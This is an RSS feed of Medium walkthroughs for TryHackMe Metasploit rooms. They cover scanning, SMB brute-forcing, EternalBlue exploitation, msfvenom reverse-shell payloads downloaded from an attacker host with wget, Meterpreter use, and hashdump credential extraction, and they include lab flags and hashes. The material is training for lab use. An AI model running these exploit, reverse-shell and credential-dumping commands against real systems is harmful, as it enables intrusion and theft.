<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Amr Sebie on Medium]]></title>
        <description><![CDATA[Stories by Amr Sebie on Medium]]></description>
        <link>https://medium.com/@asoubea?source=rss-70691c1333b5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*AwJGBmSgTjJlQJw2PciEag.jpeg</url>
            <title>Stories by Amr Sebie on Medium</title>
            <link>https://medium.com/@asoubea?source=rss-70691c1333b5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 22:04:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@asoubea/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Metasploit: Meterpreter TryHackMe Room Walkthrough (Part 3)]]></title>
            <link>https://medium.com/@asoubea/metasploit-meterpreter-tryhackme-room-walkthrough-cae1aa75bfe6?source=rss-70691c1333b5------2</link>
            <guid isPermaLink="false">https://medium.com/p/cae1aa75bfe6</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Amr Sebie]]></dc:creator>
            <pubDate>Tue, 28 Jul 2026 08:56:04 GMT</pubDate>
            <atom:updated>2026-07-28T08:57:25.205Z</atom:updated>
            <content:encoded><![CDATA[<p>room link:<a href="https://tryhackme.com/room/meterpreter">https://tryhackme.com/room/meterpreter</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7WjaC_KXMhBgXtnb4-iMTg.png" /></figure><h3>Introduction</h3><p>After gaining initial access to a target, penetration testers need to enumerate the compromised system, identify privileges, search for sensitive information, and assess opportunities for further compromise.</p><p><strong>Meterpreter</strong> is a Metasploit payload designed to support this post-exploitation phase through a specialized interactive session.</p><p>In this room, we will learn how Meterpreter works, understand its different payload types, and use common commands for system enumeration, process management, credential discovery, and file searching.</p><h3>Task 1 — Introduction to Meterpreter</h3><h3>Summary</h3><p>Meterpreter is a <strong>post-exploitation payload</strong> that provides an interactive session on a compromised system.</p><p>One of its notable characteristics is its ability to operate primarily in memory rather than relying on an obvious executable file on disk. It can also communicate with the Metasploit handler through encrypted channels.</p><p>This can make basic detection more difficult, but Meterpreter is <strong>not undetectable</strong>. Modern security solutions can detect suspicious behavior through endpoint telemetry, memory analysis, and network monitoring.</p><h3>Process Identification</h3><p>The getpid command shows the PID of the process hosting the current Meterpreter session:</p><pre>meterpreter &gt; getpid<br>Current pid: 1304</pre><p>We can then inspect running processes:</p><pre>meterpreter &gt; ps</pre><p>In the lab, PID 1304 belonged to:</p><pre>spoolsv.exe</pre><p>rather than a process named meterpreter.exe.</p><p>The key lesson is that simply searching for an obvious Meterpreter process name may not be enough to identify malicious activity.</p><blockquote><strong>Answer: No answer needed</strong></blockquote><h3>Task 2 — Meterpreter Flavors</h3><h3>Summary</h3><p>Meterpreter comes in different versions depending on the target platform and communication method.</p><p>The two main payload categories are:</p><p><strong>Staged payloads</strong></p><p>The initial stager connects back and retrieves the rest of the payload.</p><pre>Stager → Full Payload</pre><p><strong>Stageless payloads</strong></p><p>The complete payload is delivered in one package.</p><pre>Full Payload</pre><p>You can list available Meterpreter payloads with:</p><pre>msfvenom --list payloads | grep meterpreter</pre><p>Meterpreter supports platforms including:</p><ul><li>Windows</li><li>Linux</li><li>Android</li><li>macOS</li><li>iOS</li><li>Java</li><li>PHP</li><li>Python</li></ul><p>Payload selection mainly depends on:</p><ul><li><strong>Target OS and architecture</strong></li><li><strong>Available technologies</strong></li><li><strong>Network connectivity</strong></li><li><strong>Exploit compatibility</strong></li></ul><p>For example, an exploit may automatically select a default payload:</p><pre>msf6 &gt; use exploit/windows/smb/ms17_010_eternalblue<br>[*] Using configured payload windows/x64/meterpreter/reverse_tcp</pre><p>You can check compatible payloads with:</p><pre>show payloads</pre><p>The important point is that <strong>not every Meterpreter payload is compatible with every exploit</strong>.</p><blockquote><strong>Answer: No answer needed</strong></blockquote><h3>Task 3 — Meterpreter Commands</h3><h3>Summary</h3><p>Meterpreter provides commands for common post-exploitation activities.</p><p>Because available commands differ between Meterpreter versions and loaded extensions, the first command you should usually run is:</p><pre>help</pre><p>Common command categories include:</p><ul><li>Core</li><li>File system</li><li>Networking</li><li>System</li><li>Privilege-related functionality</li></ul><h3>Common Commands</h3><h3>Core Commands</h3><pre>help<br>background<br>sessions<br>exit<br>load<br>migrate</pre><h3>File System</h3><pre>pwd<br>ls<br>cd<br>cat<br>search<br>upload<br>download</pre><h3>System Enumeration</h3><pre>getuid<br>getpid<br>ps<br>sysinfo<br>shell</pre><h3>Networking</h3><pre>ifconfig<br>arp<br>netstat<br>route</pre><h3>Important Commands</h3><h3>getuid</h3><p>Shows the account running the Meterpreter session:</p><pre>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\SYSTEM</pre><p>This is important because it tells you your current privilege level.</p><h3>ps</h3><p>Lists running processes:</p><pre>meterpreter &gt; ps</pre><p>The output provides PIDs and process information, which can be useful when analyzing the system or considering process migration.</p><h3>migrate</h3><p>Moves the Meterpreter session to another process:</p><pre>meterpreter &gt; migrate 716</pre><p>Migration can sometimes improve session stability or place the session inside a more suitable process.</p><p>However, migrating into a process owned by a lower-privileged user can cause you to <strong>lose your current privileges</strong>.</p><p>Always check the target process and its user context before migrating.</p><h3>hashdump</h3><p>Attempts to retrieve Windows password hashes from the SAM database:</p><pre>meterpreter &gt; hashdump</pre><p>These hashes may be useful for offline password cracking or, in supported environments, pass-the-hash attacks.</p><h3>search</h3><p>Searches the filesystem for files:</p><pre>meterpreter &gt; search -f flag2.txt</pre><p>This is useful for locating:</p><ul><li>Configuration files</li><li>Credentials</li><li>Backups</li><li>Flags</li><li>Sensitive documents</li></ul><h3>shell</h3><p>Opens the native operating system shell:</p><pre>meterpreter &gt; shell</pre><p>On Windows, this gives you a normal command prompt:</p><pre>C:\Windows\system32&gt;</pre><p>You can return to the Meterpreter session by suspending the shell with:</p><pre>CTRL + Z</pre><blockquote><strong>Answer: No answer needed</strong></blockquote><h3>Practical Task — Meterpreter Post-Exploitation</h3><h3>Step 1 — Establish Initial Access</h3><p>The lab provides credentials to simulate an initial compromise over SMB:</p><pre>Username: ballen<br>Password: Password1</pre><p>After obtaining a Meterpreter session, the goal is to move beyond initial access and start enumerating the compromised machine.</p><p>The general workflow is:</p><pre>Initial Access<br>      ↓<br>System Enumeration<br>      ↓<br>Privilege Enumeration<br>      ↓<br>Credential Discovery<br>      ↓<br>Sensitive File Discovery<br>      ↓<br>Further Access</pre><h3>Step 2 — Identify the Host</h3><p>The compromised computer name is:</p><pre>ACME-TEST</pre><p>Knowing the hostname helps identify the system during further enumeration and can be correlated with other hosts in the environment.</p><h3>Step 3 — Identify the Domain</h3><p>The target domain is:</p><pre>FLASH</pre><p>This indicates that the machine belongs to a Windows domain environment, which may provide opportunities for further enumeration and lateral movement.</p><h3>Step 4 — Enumerate User-Created Shares</h3><p>The user-created share discovered during enumeration is:</p><pre>speedster</pre><p>Shares are worth investigating because they may contain documents, scripts, backups, or credentials.</p><h3>Step 5 — Extract Credential Material</h3><p>The NTLM hash belonging to jchambers was:</p><pre>69596c7aa1e8daee17f8e78870e25a5c</pre><p>The corresponding cleartext password was:</p><pre>Trustno1</pre><p>From a penetration testing perspective, the important question is whether this credential is reused elsewhere.</p><p>Credential reuse can turn access to one machine into access to additional systems.</p><h3>Step 6 — Search for Sensitive Files</h3><p>The secrets.txt file was discovered at:</p><pre>c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt</pre><p>The file contained a Twitter password:</p><pre>KDSvbsw3849!</pre><p>This demonstrates the risks of storing credentials in plaintext files.</p><h3>Step 7 — Locate the Final Secret</h3><p>The file:</p><pre>realsecret.txt</pre><p>was located at:</p><pre>c:\inetpub\wwwroot\realsecret.txt</pre><p>Its contents were:</p><pre>The Flash is the fastest man alive</pre><p>The location is interesting because C:\inetpub\wwwroot is commonly associated with IIS web content.</p><p>If sensitive files are placed inside a web root and the server is incorrectly configured, they may potentially become accessible through the web application.</p><p>If this summary helped you save some time (or a few brain cells ), don’t forget to <strong>follow</strong> and leave a <strong>👏 Clap</strong>. It really helps and motivates me to keep making more cybersecurity notes like this ❤️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cae1aa75bfe6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploit: Exploitation TryHackMe Room Walkthrough (Part 2)]]></title>
            <link>https://medium.com/@asoubea/metasploit-exploitation-tryhackme-room-walkthrough-75b5e270e4fa?source=rss-70691c1333b5------2</link>
            <guid isPermaLink="false">https://medium.com/p/75b5e270e4fa</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[Amr Sebie]]></dc:creator>
            <pubDate>Tue, 28 Jul 2026 07:39:38 GMT</pubDate>
            <atom:updated>2026-07-28T08:58:32.108Z</atom:updated>
            <content:encoded><![CDATA[<p>room link:<a href="https://tryhackme.com/room/metasploitexploitation">https://tryhackme.com/room/metasploitexploitation</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7WjaC_KXMhBgXtnb4-iMTg.png" /></figure><h3>Introduction</h3><p>This room provides a practical introduction to the <strong>Metasploit Framework</strong>, covering scanning, exploitation, payloads, and post-exploitation.</p><h3>Task 1 — Introduction</h3><h3>Summary</h3><p>Start the AttackBox and launch Metasploit:</p><pre>msfconsole</pre><p>The wordlist used throughout the room is:</p><pre>/usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt</pre><p>This wordlist is useful for tasks involving credential brute-forcing.</p><h3>Task 2 — Scanning</h3><h3>Step 1 — Find Port Scanning Modules</h3><p>Inside Metasploit, search for available port scanners:</p><pre>search portscan</pre><p>You will find several scanning modules, including:</p><pre>auxiliary/scanner/portscan/tcp<br>auxiliary/scanner/portscan/syn<br>auxiliary/scanner/portscan/ack</pre><p>For a basic TCP scan, select the TCP scanner:</p><pre>use auxiliary/scanner/portscan/tcp</pre><p>Check the available options:</p><pre>show options</pre><p>Set the target:</p><pre>set RHOSTS TARGET_IP</pre><p>Run the scan:</p><pre>run</pre><p>The important options to understand are:</p><ul><li>RHOSTS — The target IP address or range.</li><li>PORTS — The ports to scan.</li><li>THREADS — Number of concurrent scanning threads.</li><li>CONCURRENCY — Number of hosts scanned simultaneously.</li></ul><h3>Step 2 — Run Nmap from Metasploit</h3><p>Metasploit can also execute Nmap directly from the console:</p><pre>nmap -sS TARGET_IP</pre><p>The scan revealed multiple open ports on the target.</p><p>The total number of open ports was:</p><p><strong>Answer:</strong> 5</p><h3>Step 3 — Perform UDP Service Discovery</h3><p>To quickly identify some UDP-based services, use:</p><pre>use auxiliary/scanner/discovery/udp_sweep</pre><p>Set the target:</p><pre>set RHOSTS TARGET_IP</pre><p>Run the module:</p><pre>run</pre><p>The scan identified <strong>NetBIOS</strong> running on UDP port 137.</p><p>This is useful because NetBIOS information can reveal the hostname or role of a Windows machine.</p><h3>Step 4 — Enumerate SMB</h3><p>To identify the SMB version and gather information about the Windows target:</p><pre>use auxiliary/scanner/smb/smb_version</pre><p>Set the target:</p><pre>set RHOSTS TARGET_IP</pre><p>Run the scanner:</p><pre>run</pre><p>The module returned information about the target, including its Windows version and NetBIOS name.</p><p><strong>Answer:</strong> ACME IT SUPPORT</p><h3>Step 5 — Identify the Service Running on Port 8000</h3><p>After identifying port 8000 during enumeration, service detection revealed the application running on that port.</p><pre>&gt;use auxiliary/scanner/http/http_version<br>&gt;set RHOSTS &lt;TARGET_IP&gt;<br>&gt;set RPORT 8000<br>&gt;run</pre><p><strong>Answer:</strong> webfs/1.21</p><h3>Step 6 — Find the SMB Password</h3><p>The next step was to target the SMB service and use the provided wordlist for credential discovery.</p><p>The wordlist provided by the room is:</p><pre>/usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt</pre><p>After performing the SMB credential attack, the password for the penny user was discovered.</p><pre>&gt;use auxiliary/scanner/smb/smb_login<br>&gt;show options<br>&gt;set RHOSTS &lt;TARGET_IP&gt;<br>&gt;set SMBUser penny<br>&gt;set PASS_FILE /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt<br>&gt;run<br></pre><p><strong>Answer:</strong> leo1234</p><h3>Task 3 — The Metasploit Database</h3><h3>Summary</h3><p>Metasploit’s database becomes especially useful when working with multiple targets.</p><p>It allows you to store and organize information such as:</p><ul><li>Hosts</li><li>Services</li><li>Vulnerabilities</li><li>Notes</li><li>Loot</li></ul><p>This makes it easier to manage larger penetration testing engagements.</p><h3>Step 1 — Start PostgreSQL</h3><p>If PostgreSQL is not already running:</p><pre>systemctl start postgresql</pre><p>Initialize the Metasploit database:</p><pre>sudo -u postgres msfdb init</pre><p>Then launch Metasploit:</p><pre>msfconsole</pre><h3>Step 2 — Check Database Status</h3><p>Inside Metasploit:</p><pre>db_status</pre><p>A successful connection should return something similar to:</p><pre>[*] Connected to msf. Connection type: postgresql.</pre><h3>Step 3 — Create a Workspace</h3><p>List existing workspaces:</p><pre>workspace</pre><p>Create a new workspace:</p><pre>workspace -a tryhackme</pre><p>Switch to a workspace:</p><pre>workspace tryhackme</pre><p>Switch back to the default workspace:</p><pre>workspace default</pre><p>Workspaces are useful for keeping information from different penetration tests separated.</p><h3>Step 4 — Scan and Automatically Store Results</h3><p>Instead of running Nmap separately, you can use db_nmap:</p><pre>db_nmap -sV -p- TARGET_IP</pre><p>The results are automatically stored in the Metasploit database.</p><p>You can then view discovered hosts:</p><pre>hosts</pre><p>View discovered services:</p><pre>services</pre><p>Search for a specific service:</p><pre>services -S netbios</pre><p>This is particularly useful during larger engagements because you can quickly query previously discovered information.</p><h3>Step 5 — Reuse Stored Hosts</h3><p>Once hosts have been stored in the database, you can automatically assign them to the RHOSTS option of a module.</p><p>For example:</p><pre>use auxiliary/scanner/smb/smb_ms17_010</pre><p>Then:</p><pre>hosts -R</pre><p>Check the module configuration:</p><pre>show options</pre><p>The previously discovered hosts should now be assigned to RHOSTS.</p><p>Run the module:</p><pre>run</pre><p>This workflow can save time when working with multiple targets.</p><h3>Task 4 — Vulnerability Scanning</h3><h3>Summary</h3><p>The goal of this task is to understand how Metasploit can help identify potentially vulnerable services.</p><p>The general workflow is:</p><pre>1. Discover open ports<br>2. Identify running services<br>3. Determine versions<br>4. Search Metasploit for relevant modules<br>5. Check whether the target is vulnerable</pre><h3>Step 1 — Search for Modules</h3><p>If you discover a specific service, search Metasploit for relevant modules.</p><p>For example, if VNC is running:</p><pre>search vnc</pre><p>You may find scanners such as:</p><pre>auxiliary/scanner/vnc/vnc_login<br>auxiliary/scanner/vnc/vnc_none_auth</pre><h3>Step 2 — Inspect a Module</h3><p>Select the VNC login scanner:</p><pre>use auxiliary/scanner/vnc/vnc_login</pre><p>Read the module information:</p><pre>info</pre><p>The info command is useful because it explains:</p><ul><li>What the module does</li><li>Which options it supports</li><li>Required parameters</li><li>Default ports</li><li>References related to the vulnerability</li></ul><h3>Question 1</h3><p>Who wrote the module that allows us to check SMTP servers for open relay?</p><p><strong>Explanation</strong></p><p>The answer can be found by searching for the SMTP open relay scanner and checking the module’s metadata using the info command. The module information lists its author in the <strong>Provided by</strong> section.</p><pre>&gt;search smtp<br>&gt;info auxiliary/scanner/smtp/smtp_relay</pre><p><strong>Answer:</strong> Campbell Murray</p><h3>Task 5 — Exploitation</h3><h3>Summary</h3><p>This task demonstrates the complete exploitation workflow:</p><pre>Reconnaissance<br>    ↓<br>Service Enumeration<br>    ↓<br>Vulnerability Identification<br>    ↓<br>Exploit Selection<br>    ↓<br>Payload Selection<br>    ↓<br>Exploitation<br>    ↓<br>Session Management<br>    ↓<br>Post-Exploitation</pre><h3>Step 1 — Search for an Exploit</h3><p>Once a vulnerable service has been identified, search Metasploit for a suitable exploit.</p><p>For the SMB vulnerability used in the room:</p><pre>search ms17_010</pre><p>Select the EternalBlue exploit:</p><pre>use exploit/windows/smb/ms17_010_eternalblue</pre><p>Check the module configuration:</p><pre>show options</pre><h3>Step 2 — Check Available Payloads</h3><p>List compatible payloads:</p><pre>show payloads</pre><p>Select a payload:</p><pre>set payload generic/shell_reverse_tcp</pre><p>Check the options again:</p><pre>show options</pre><p>A reverse shell requires the attacker’s IP and listening port.</p><p>Set the listener address:</p><pre>set LHOST ATTACKING_MACHINE_IP</pre><p>The default port can remain 4444, or you can specify another port:</p><pre>set LPORT 4444</pre><h3>Step 3 — Run the Exploit</h3><p>Start the exploitation process:</p><pre>exploit</pre><p>If successful, Metasploit will establish a session with the target.</p><p>The resulting session can be seen with:</p><pre>sessions</pre><h3>Step 4 — Background the Session</h3><p>If you want to keep the session open while returning to the Metasploit console:</p><pre>CTRL + Z</pre><p>Confirm by entering:</p><pre>y</pre><p>List active sessions:</p><pre>sessions</pre><p>Interact with a specific session:</p><pre>sessions -i 1</pre><p>Replace 1 with the appropriate session ID.</p><h3>Question 1</h3><p>Exploit one of the critical vulnerabilities on the target VM</p><p><strong>Explanation</strong></p><p>The target was vulnerable to a critical SMB vulnerability. After identifying the vulnerable service, the corresponding Metasploit exploit was selected and executed, resulting in a successful session on the target.</p><pre>&gt;search ms17-010<br>&gt;use exploit/windows/smb/ms17_010_eternalblue<br>&gt;show options<br>&gt;set RHOSTS &lt;TARGET_IP&gt;<br>&gt;exploit<br>&gt;sessions -i 1</pre><p><strong>Answer:</strong> No answer needed.</p><h3>Question 2</h3><p>What is the content of the flag.txt file?</p><p><strong>Explanation</strong></p><p>After obtaining a session on the target, the filesystem can be accessed to locate flag.txt. Reading the contents of the file reveals the flag provided by the room.</p><pre>&gt;search -f flag.txt<br>&gt;cat c:/Users/Jon/Documents/flag.txt</pre><p><strong>Answer:</strong> THM-5455554845</p><h3>Question 3</h3><p>What is the NTLM hash of the password of the user “pirate”?</p><p><strong>Explanation</strong></p><p>After gaining access to the Windows machine, the following Meterpreter command was used to retrieve password hashes stored on the system:</p><pre>hashdump</pre><p>This command extracted the NTLM hashes from the target, including the hash associated with the pirate user, which was obtained during the post-exploitation phase</p><pre>meterpreter &gt; hashdump <br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: pirate:1001:aad3b435b51404eeaad3b435b51404ee:8ce9a3ebd1647fcc5e04025019f4b875:::</pre><p><strong>Answer:</strong> 8ce9a3ebd1647fcc5e04025019f4b875</p><h3>Task 6 — Msfvenom</h3><h3>Summary</h3><p>msfvenom is used to generate Metasploit payloads in different formats.</p><p>For this task, the main workflow is:</p><pre>Create Payload<br>    ↓<br>Transfer Payload<br>    ↓<br>Start Handler<br>    ↓<br>Execute Payload<br>    ↓<br>Receive Meterpreter Session<br>    ↓<br>Post-Exploitation</pre><h3>Step 1 — Generate a Linux ELF Meterpreter Payload</h3><p>The target is a Linux machine, so we generate an ELF payload:</p><pre>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=4444 -f elf &gt; shell.elf</pre><p>Make sure to replace:</p><pre>ATTACKING_MACHINE_IP</pre><p>with the IP address of your attacking machine.</p><p>The important parameters are:</p><ul><li>-p — Selects the payload.</li><li>LHOST — The attacker&#39;s IP address that the target connects back to.</li><li>LPORT — The port where the attacker will receive the connection.</li><li>-f elf — Generates a Linux ELF executable.</li><li>&gt; shell.elf — Saves the generated payload to a file.</li></ul><h3>Step 2 — Start a Web Server</h3><p>Move to the directory containing the payload:</p><pre>cd /path/to/payload</pre><p>Start a Python HTTP server:</p><pre>python3 -m http.server 9000</pre><p>The server will make shell.elf available for download.</p><h3>Step 3 — Transfer the Payload to the Target</h3><p>On the lab machine, download the file:</p><pre>wget http://ATTACKING_MACHINE_IP:9000/shell.elf</pre><p>If you receive:</p><pre>No such file or directory</pre><p>after running:</p><pre>cd /path/to/file</pre><p>remember that /path/to/file is only an example. You need to replace it with the <strong>actual directory containing ****</strong><strong>shell.elf</strong>.</p><p>For example:</p><pre>cd /root</pre><p>Then verify the file:</p><pre>ls</pre><h3>Step 4 — Make the Payload Executable</h3><p>On the Linux target:</p><pre>chmod +x shell.elf</pre><p>Verify the permissions:</p><pre>ls -l shell.elf</pre><p>The file should have executable permissions.</p><h3>Step 5 — Start the Metasploit Handler</h3><p>On the attacking machine:</p><pre>msfconsole</pre><p>Select the multi-handler:</p><pre>use exploit/multi/handler</pre><p>Set the same payload used when generating the ELF file:</p><pre>set payload linux/x86/meterpreter/reverse_tcp</pre><p>Set the attacking machine’s IP:</p><pre>set LHOST ATTACKING_MACHINE_IP</pre><p>Set the same port used in msfvenom:</p><pre>set LPORT 4444</pre><p>Check the configuration:</p><pre>show options</pre><p>Start the handler:</p><pre>run</pre><p>The handler is now waiting for the target to connect back.</p><h3>Step 6 — Execute the Payload</h3><p>On the lab machine:</p><pre>./shell.elf</pre><p>If everything is configured correctly, the payload connects back to the Metasploit handler and creates a Meterpreter session.</p><p>Check active sessions:</p><pre>sessions</pre><p>Interact with the session:</p><pre>sessions -i 1</pre><p>Replace 1 with the actual session ID.</p><h3>Step 7 — Use a Post-Exploitation Module</h3><p>After obtaining a Meterpreter session, the next step is to perform post-exploitation.</p><p>The goal of this task is to retrieve password hashes from other users on the Linux system.</p><p>The workflow is:</p><pre>Meterpreter Session<br>        ↓<br>Background Session<br>        ↓<br>Search Post Modules<br>        ↓<br>Select Hashdump Module<br>        ↓<br>Set SESSION<br>        ↓<br>Run Module</pre><p>Background the Meterpreter session:</p><pre>background</pre><p>Search for relevant post-exploitation modules:</p><pre>search type:post hashdump</pre><p>Select the appropriate Linux hashdump module:</p><pre>use post/linux/gather/hashdump</pre><p>Check the required options:</p><pre>show options</pre><p>Set the Meterpreter session:</p><pre>set SESSION 1</pre><p>Run the module:</p><pre>run</pre><p>The module extracts password hashes from the target system.</p><h3>Question 1</h3><p>Launch the VM attached to this task. The username is murphy, and the password is 1q2w3e4r. You can connect via SSH or launch this machine in the browser. Once on the terminal, type “sudo su” to get a root shell, this will make things easier.</p><p><strong>Explanation</strong></p><p>Connect to the Linux target using the credentials provided by the room. Once connected, switch to a root shell using sudo su, which simplifies the remaining steps by providing the required privileges.</p><p><strong>Answer:</strong> No answer needed.</p><h3>Question 2</h3><p>Create a meterpreter payload in the .elf format (on the AttackBox, or your attacking machine of choice).</p><p><strong>Explanation</strong></p><p>Generate a Linux Meterpreter reverse TCP payload using msfvenom. The payload is saved as an ELF executable named shell.elf.</p><pre>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=4444 -f elf &gt; shell.elf</pre><p><strong>Answer:</strong> No answer needed.</p><h3>Question 3</h3><p>Transfer it to the lab machine (you can start a Python web server on your attacking machine with the python3 -m http.server 9000 command and use wget <a href="http://attacking_machine_ip:9000/shell.elf">http://ATTACKING_MACHINE_IP:9000/shell.elf</a> to download it to the lab machine).</p><p><strong>Explanation</strong></p><p>Start an HTTP server in the directory containing the payload:</p><pre>python3 -m http.server 9000</pre><p>Then download the payload from the lab machine:</p><pre>wget http://ATTACKING_MACHINE_IP:9000/shell.elf</pre><p>This transfers the generated ELF file from the attacking machine to the target.</p><p><strong>Answer:</strong> No answer needed.</p><h3>Question 4</h3><p>Get a meterpreter session on the lab machine.</p><p><strong>Explanation</strong></p><p>First, configure the Metasploit handler using the same payload, LHOST, and LPORT values used when creating the payload:</p><pre>use exploit/multi/handler<br>set payload linux/x86/meterpreter/reverse_tcp<br>set LHOST ATTACKING_MACHINE_IP<br>set LPORT 4444<br>run</pre><p>On the target, make the file executable:</p><pre>chmod +x shell.elf</pre><p>Execute it:</p><pre>./shell.elf</pre><p>The target should connect back to the handler, creating a Meterpreter session.</p><p><strong>Answer:</strong> No answer needed.</p><h3>Question 5</h3><p>Use a post exploitation module to dump hashes of other users on the system.</p><p><strong>Explanation</strong></p><p>After obtaining the Meterpreter session, background it and use a Linux hashdump post-exploitation module.</p><pre>background</pre><p>Search for hashdump modules:</p><pre>search type:post hashdump</pre><p>Select the Linux module:</p><pre>use post/linux/gather/hashdump</pre><p>Set the Meterpreter session:</p><pre>set SESSION 1</pre><p>Run the module:</p><pre>run</pre><p>The module retrieves password hashes stored on the Linux system.</p><p><strong>Answer:</strong> No answer needed.</p><h3>Question 6</h3><p>What is the other user’s password hash?</p><p><strong>Explanation</strong></p><p>The hashdump module returned the password hashes of users on the target after running the following commands:</p><pre>use post/linux/gather/hashdump<br>set SESSION 1<br>run</pre><p><strong>Answer:</strong></p><pre>$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0</pre><p>If this summary helped you save some time (or a few brain cells ), don’t forget to <strong>follow</strong> and leave a <strong>👏 Clap</strong>. It really helps and motivates me to keep making more cybersecurity notes like this ❤️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75b5e270e4fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploit Introduction TryHackMe Room Walkthrough]]></title>
            <link>https://medium.com/@asoubea/metasploit-introduction-tryhackme-room-walkthrough-9a969263f470?source=rss-70691c1333b5------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a969263f470</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Amr Sebie]]></dc:creator>
            <pubDate>Sun, 26 Jul 2026 20:01:16 GMT</pubDate>
            <atom:updated>2026-07-28T08:59:31.569Z</atom:updated>
            <content:encoded><![CDATA[<p>room link:<a href="https://tryhackme.com/room/metasploitintro">https://tryhackme.com/room/metasploitintro</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7WjaC_KXMhBgXtnb4-iMTg.png" /></figure><h3>Introduction to Metasploit — A Practical Guide to the Metasploit Framework</h3><p>Metasploit is one of the most widely used frameworks in penetration testing. It provides security professionals with a structured way to identify vulnerabilities, select appropriate exploits, configure payloads, establish sessions, and perform post-exploitation activities.</p><p>This room introduces the core concepts behind the <strong>Metasploit Framework</strong> and teaches you how to work with its command-line interface, msfconsole.</p><p>By completing this room, you will learn how to:</p><ul><li>Understand the difference between <strong>vulnerabilities, exploits, and payloads</strong>.</li><li>Identify the main types of Metasploit modules.</li><li>Navigate and search the Metasploit module database.</li><li>Configure module options correctly.</li><li>Understand the difference between local and global variables.</li><li>Execute exploits and manage established sessions.</li><li>Understand the basic workflow of a real-world exploitation process.</li></ul><p>The goal is not simply to memorize Metasploit commands. The real objective is to understand <strong>how an attacker moves from vulnerability discovery to exploitation and finally to gaining access to the target system</strong>.</p><h3>Task 1 — Introduction to Metasploit</h3><h4>Summary</h4><p>The first step is preparing the lab environment. In a typical TryHackMe setup, this means starting the <strong>AttackBox</strong> or connecting your own machine through the TryHackMe VPN, then launching the target machine.</p><p>Metasploit itself is an exploitation framework designed to support multiple stages of a penetration testing engagement.</p><p>It can assist with:</p><ul><li>Information gathering.</li><li>Vulnerability scanning.</li><li>Exploitation.</li><li>Payload delivery.</li><li>Post-exploitation.</li><li>Vulnerability research.</li><li>Exploit development.</li></ul><p>There are two main versions of Metasploit.</p><p><strong>Metasploit Pro</strong> is the commercial edition and provides additional automation and management features, including a graphical interface.</p><p><strong>Metasploit Framework</strong> is the open-source version and is primarily used through the command line. This is the version most commonly encountered in penetration testing distributions such as Kali Linux.</p><p>The framework is built around several important components.</p><h4>msfconsole</h4><p>This is the main command-line interface used to interact with Metasploit.</p><h4>Modules</h4><p>Modules are specialized components that perform specific tasks, such as scanning, exploiting vulnerabilities, or performing post-exploitation activities.</p><h4>Standalone Tools</h4><p>Metasploit also includes additional tools such as:</p><ul><li>msfvenom</li><li>pattern_create</li><li>pattern_offset</li></ul><p>These tools are useful for tasks such as payload generation and exploit development.</p><p>The most important concept to understand is that Metasploit is not just an exploit launcher. It is a framework that helps organize the entire exploitation workflow.</p><h4>Questions &amp; Answers</h4><h4>Question 1</h4><blockquote>setting up the environment</blockquote><h4>Answer: No answer needed</h4><p>The important requirement is to have both the attacker environment and the target machine available before continuing with the practical exercises.</p><h3>Task 2 — Main Components of Metasploit</h3><h4>Summary</h4><p>Before using Metasploit effectively, you need to understand the difference between three fundamental security concepts:</p><p><strong>Vulnerability → Exploit → Payload</strong></p><p>These concepts are related, but they are not interchangeable.</p><p>A <strong>vulnerability</strong> is a weakness in software, configuration, design, or logic.</p><p>An <strong>exploit</strong> is code or a technique that takes advantage of that vulnerability.</p><p>A <strong>payload</strong> is what executes on the target after successful exploitation to achieve the attacker’s objective.</p><p>For example:</p><pre>Vulnerability<br>      ↓<br>Exploit<br>      ↓<br>Payload<br>      ↓<br>Access / Command 